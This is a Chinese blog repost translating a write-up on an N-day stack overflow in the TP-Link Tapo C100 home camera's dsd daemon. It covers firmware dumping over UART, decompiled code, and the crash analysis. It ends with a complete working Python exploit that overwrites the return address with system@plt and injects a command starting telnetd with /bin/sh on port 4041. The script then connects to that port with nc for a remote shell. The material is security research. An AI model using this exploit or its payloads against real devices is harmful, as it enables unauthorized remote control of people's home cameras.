在家用摄像头中利用 N-Day

admin 2024年6月8日20:53:46评论7 views字数 8521阅读28分24秒阅读模式

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

博客新域名:https://gugesay.com

不想错过任何消息?设置星标↓ ↓ ↓

在家用摄像头中利用 N-Day

背景介绍

今天分享国外网友@io::pewpew()针对 TP-Link Tapo C100 家用摄像头从提取固件到发现 N-day并编写完整 RCE 的漏洞利用完整过程,废话不多说,让我们开始吧。

提取固件

在家用摄像头中利用 N-Day

为了在设备上获得初步立足点,白帽小哥将电线焊接在设备的 UART 引脚,期望以此获得 bash shell。白帽小哥计划尝试从该设备的其它型号中使用已知技术:将 SD 卡插入摄像头→将 /dev/mtdblock* 文件复制到卡→插入到笔记本电脑→然后运行 binwalk 然而,由于某种原因,摄像头无法检测到 SD 卡,于是白帽小哥采用了以下方法:

  1. 使用 xxd (或 hexdump )转存 /dev/mtdblock* 文件的全部内容

  2. 将所有 UART 输出保存到 txt 文件

  3. 将其从十六进制解码回原始字节

dsd二进制文件简介

位于 /usr/bin/dsd 的 dsd 二进制文件是摄像头向客户端公开的 REST API 的主要组件之一。基本上, uhttpd 二进制文件使用本地 unix 套接字将用户输入发送到 dsd 二进制文件,执行必要的操作(更改设置等)并返回响应。

在家用摄像头中利用 N-Day

发现bug

该bug存在于 check_user_info 请求处理程序中,请求信息如下:

{"user_management":{"check_user_info":{"username":"aaaa","password":"bbbb","encrypt_type":"2"}}, "method":"do"}

代码处理流程:

undefined4 FUN_004288a4(int param_1,int param_2)
{
int iVar1;
char *__s;
char *__s1;
int iVar2;
char *pcVar3;
size_t sVar4;
size_t sVar5;
undefined4 uVar6;
char acStack_80 [64];
undefined4 local_40;
undefined4 local_3c;
undefined4 local_38;
undefined4 local_34;
int local_30;

memset(acStack_80,0,0x40);
local_40 = 0;
local_3c = 0;
local_38 = 0;
local_34 = 0;
if ((((param_1 == 0) || (param_2 == 0)) || (iVar1 = jso_is_obj(param_2), iVar1 == 0)) ||
((iVar1 = jso_obj_get_string_origin(param_2,"username"), iVar1 == 0 ||
(__s = (char *)jso_obj_get_string_origin(param_2,"password"), __s == (char *)0x0)))) {
uVar6 = 0xffff146f;
}
else {
__s1 = (char *)jso_obj_get_string_origin(param_2,"encrypt_type");
if (__s1 == (char *)0x0) {
__s1 = "1";
}
printf("t [dsd] %s(%d): ","check_user_info",0x59b);
printf("encrypt_type:%s.",__s1);
putchar(10);
iVar2 = strcmp(__s1,"2");
if (iVar2 == 0) {
pcVar3 = (char *)FUN_0040e304(); // [1]
sVar4 = strlen(__s);
sVar5 = strlen(pcVar3);
pcVar3 = (char *)private_decrypt(__s,sVar4,pcVar3,sVar5); // [2]
printf("t [dsd] %s(%d): ","check_user_info",0x5a1);
printf("plaintext:%s.",pcVar3);
putchar(10);
if (pcVar3 != (char *)0x0) {
local_30 = sscanf(pcVar3,"%[^:]:%[^:]",acStack_80,&local_40); // [3]
printf("t [dsd] %s(%d): ","check_user_info",0x5a5);
printf("hashPswd(%s) rsa_nonce(%s).",acStack_80,&local_40);
putchar(10);
if (local_30 == 2) {
__s = acStack_80;
}
free(pcVar3);
}
}
iVar2 = FUN_0040d1a0(param_1);
if (iVar2 == 0) {
iVar1 = FUN_0040d510(param_1,iVar1,__s);
if (iVar1 == 0) {
uVar6 = 0xffff622f;
}
else {
iVar1 = strcmp(__s1,"2");
uVar6 = 0;
if ((iVar1 == 0) && (iVar1 = FUN_0040e15c(&local_40), iVar1 < 0)) {
uVar6 = 0xffff6227;
}
}
}
else {
uVar6 = 0xffff6229;
}
}
return uVar6;
}

在 [1] 处,获取 RSA 密钥并将其存储在 pcVar3 中,然后,用户输入将在 [2] 处解密。解密用户输入后,该函数使用 sscanf 将明文拆分为两个变量 : 中间用”:”字符隔开(如:AAAA:BBBB)。bug位于 private_decrypt (在 libdecrypter.so 中)最多可以解密 0x80 字节:

void * private_decrypt(int param_1,int param_2,undefined4 param_3)
{
int iVar1;
BIO *bp;
RSA *rsa;
size_t __n;
undefined4 uVar2;
void *__dest;
undefined auStack_918 [2048];
uchar auStack_118 [128];
uchar auStack_98 [120];
int local_20 [3];
/* ... more code ... */
rsa = PEM_read_bio_RSAPrivateKey(bp,(RSA **)0x0,(undefined1 *)0x0,(void *)0x0);
if (rsa == (RSA *)0x0) {
/* ... more code ... */
}
local_20[0] = 0x80;
/* ... more code ... */
else {
__n = RSA_private_decrypt(local_20[0],auStack_118,auStack_98,rsa,1);
if ((int)__n < 0) {
uVar2 = 0x1abc;
goto LAB_00011588;
}
/* ... more code ... */
__dest = calloc(0x75,1);
if (__dest == (void *)0x0) {
msglog(6,0x1a40,0x1b6c);
}
else {
memcpy(__dest,auStack_98,__n);
*(undefined *)((int)__dest + __n) = 0;
}
}
RSA_free(rsa);
LAB_0001160c:
BIO_free_all(bp);
return __dest;
}

这可能会导致缓冲区溢出,因为 libdecrypter.so 中的缓冲区大小最多可以容纳 128 个字节,但 dsd 二进制文件中的堆栈缓冲区可容纳的字节数远小于 128 字节。在对二进制文件中看到的字符串/常量进行更多谷歌搜索后,白帽小哥发现这个bug是在 2020 年的另一个型号中发现的:TL-IPC43AN-4(由 CataLpa 发现),并且在C100中没有修复。他的摄像头有点不同:他有 Web UI(C100只能访问移动应用程序/API),他的摄像头运行 ARM 二进制文件(而C100的是 MIPS),但看起来这些摄像头共享了相同的 dsd 组件/守护进程。此外,白帽小哥找不到该bug(或漏洞利用)的任何其它文档,因此白帽小哥猜测它可能是那些不可利用的无用崩溃。不管怎样,白帽小哥还是决定试一试,说不定能成为那个编写完整漏洞利用的男人呢?

触发漏洞

要触发该漏洞,需要将以下 POST 请求序列发送到 /stok=<YOUR_SID>/ds :请求1-获取加密密钥:

{
"user_management":{
"get_encrypt_info": {}
},
"method":"do"
}

在家用摄像头中利用 N-Day 请求2-使用上一步中的密钥加密以下Payload: QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC 密文: pcV7TYekRREp49SYKlCbx2NU1+3A+y8y4a2VL4hPCvqZXATsU7DicFsauJWLEw/OB0uGe2ZcHrCzXTqhk0JoDXY6Rfv/IbWeOtqOMQkDh4e0VWCk0rEAo63KuaSdnRAneWOR5j1c0ig54gFoBblJ4kHz4a4OphX6kUJce0aDQRk= 请求3-按以下方式发送加密结果:

{
"user_management":{
"check_user_info":{
"username":"HelloWorld",
"password":"ENCRYPTED_PAYLOAD_GOES_HERE",
"encrypt_type":"2"
}
},
"method":"do"
}

在家用摄像头中利用 N-Day 查看结果:

Continuing.
[dsd] check_user_info(1293): encrypt_type:2.
[dsd] check_user_info(1299): plaintext:QQQ:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC.
[dsd] check_user_info(1303): hashPswd(QQQ) rsa_nonce(AAAAAAAAAAAAAAAA).

Thread 2 "dsd" received signal SIGBUS, Bus error.
[Switching to LWP 825]
0x42424242 in ?? ()

Nice!

漏洞利用

触发漏洞是一回事,利用漏洞则那就是另一回事了。白帽小哥没有 MIPS 经验,但他随时准备迎接新的挑战。利用该溢出可能很棘手,因为即使可以破坏内存 – 也无法输入空字节(对 scanf() 的调用中的 %[^:] 格式说明符将在空字节后停止) 。因此,不能输入多个地址在堆栈上构建 ROP/JOP 链。它要求找到完美的gadget:一个能够神奇地跳转到系统并将任意字符串放入第一个参数的gadget。经过更多分析后,白帽小哥发现这个原始代码非常强大,并且不需要任何 ROP/JOP 链。因为不仅控制 ra 寄存器(它允许我们控制程序的执行) – a0 寄存器的值指向来自我们的 HTTP 请求的字符串( username 字段)。换句话说:我们不需要找到完美的gadget,因为它已经在崩溃中了。

0x42424242 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 10001c00 ffff622f 00000000 004ab739 00432685 00000000 7796bdb0
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00000000 31454630 32463132 39464233 46344443 46334442 00450000
s0 s1 s2 s3 s4 s5 s6 s7
R16 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
t8 t9 k0 k1 gp sp s8 ra
R24 0044c930 779bb600 00000001 00000000 77bfd4c0 7796bef0 41414141 42424242
status lo hi badvaddr cause pc
00001c13 0d713e0e 00000008 42424242 40808010 42424242
fcsr fir restart
001c0004 00b70000 00000000
(gdb) x/s $a0
0x4ab739: "elloWorld"

要利用此漏洞,所要做的就是制作以下请求:

{
"user_management":{
"check_user_info":{
"username":"//bin/echo 1337-1337-1337","
password":"encrypted large buffer that will overflow",
"encrypt_type":"2"
}
},
"method":"do"
}

我们不需要另一个漏洞来破坏 ASLR,因为二进制文件是在没有 PIE 的情况下编译的,因此我们需要的只是直接跳转到 system@plt 即可。完整的漏洞利用如下,(固件版本 1.3.7 上进行测试):

#!/usr/bin/env python3
import requests
import urllib
from Crypto import Random
from Crypto.Hash import SHA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
from Crypto.PublicKey import RSA
import base64
import pwn
import os
import ssl
from requests.adapters import HTTPAdapter
import urllib3
from urllib3.util import ssl_
from urllib3.poolmanager import PoolManager

# ==== [ignore this part, setup related class] ====
CIPHERS = "AES256-SHA"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class TlsAdapter(HTTPAdapter):
def __init__(self, ssl_options=0, **kwargs):
self.ssl_options = ssl_options
super(TlsAdapter, self).__init__(**kwargs)

def init_poolmanager(self, connections, maxsize, **pool_kwargs):
ctx = ssl_.create_urllib3_context(
ciphers=CIPHERS, cert_reqs=ssl.CERT_OPTIONAL, options=self.ssl_options
)
self.poolmanager = PoolManager(
num_pools=connections, maxsize=maxsize, ssl_context=ctx, **pool_kwargs
)
# ==== [/ignore this part, setup related class] ====

# ====================================
# EXPLOIT STARTS HERE
# ====================================
# Tested on Tapo C100 firmware version 1.3.7
IP = '10.0.0.57' # device IP goes here
HASHED_PWD = '' # hashed password goes here
SYSTEM_PLT = 0x43c930 # address of system()

def send_req(ip, req_body, route='/'):
sess = requests.session()
sess.mount('https://', TlsAdapter())
resp = sess.post(f'https://{ip}{route}', headers={'User-Agent': 'Tapo CameraClient Android'} ,json=req_body, verify=False, timeout=2)
sess.close()
return resp

def get_stok(ip, password):
req_body = {"method":"login","params":{"hashed":True,"password":password,"username":"admin"}}
resp = send_req(ip, req_body)
if resp.status_code == 200:
resp = resp.json()
return resp['result']['stok']
else:
raise Exception('cannot get stok!')

def rsa_encrypt(key, p):
rsakey = RSA.importKey(key)
cipher = Cipher_pkcs1_v1_5.new(rsakey)
cipher_text = base64.b64encode(cipher.encrypt(p))
return cipher_text

def get_public_key(ip, stok):
req_body = {"user_management":{"get_encrypt_info":{}},"method":"do"}
resp = send_req(ip, req_body, route=f'/stok={stok}/ds')
if resp.status_code == 200:
resp = resp.json()
return resp['key']
else:
raise Exception('Login failed!')

def exploit(target_host, stok):
print('[*] Preparing payload...')
public_key = "-----BEGIN PUBLIC KEY-----n" + get_public_key(target_host, stok) + "n-----END PUBLIC KEY-----"
payload = b"BBB:" + b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa'
payload = payload.replace(b'paaa', pwn.p32(SYSTEM_PLT))
password = rsa_encrypt(public_key, payload)
cmd = '//usr/sbin/telnetd -l /bin/sh -p 4041 & '
req_body = {"user_management":{"check_user_info":{"username":cmd,"password":password.decode(),"encrypt_type":"2"}},"method":"do"}
try:
print('[*] popping a shell :^)')
resp = send_req(target_host, req_body, route=f'/stok={stok}/ds')
except Exception as e:
print('[*] bof triggered successfully')
pass

print('[*] Connecting to the target device')
os.system(f'nc {target_host} 4041')

# main
print(f'[*] Attacking {IP}')
stok_val = get_stok(IP, HASHED_PWD)
exploit(IP, stok_val)
在家用摄像头中利用 N-Day

以上内容由骨哥翻译并整理。原文:https://0xbigshaq.github.io/2024/01/05/tp-link-tapo-c100/

加入星球,随时交流:

(前50位成员):99元/年
(前100位成员):128元/年
100位+成员):199元/年在家用摄像头中利用 N-Day

感谢阅读,如果觉得还不错的话,欢迎分享给更多喜爱的朋友~

====正文结束====

原文始发于微信公众号(骨哥说事):在家用摄像头中利用 N-Day

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月8日20:53:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在家用摄像头中利用 N-Dayhttps://cn-sec.com/archives/2826410.html

发表评论

匿名网友 填写信息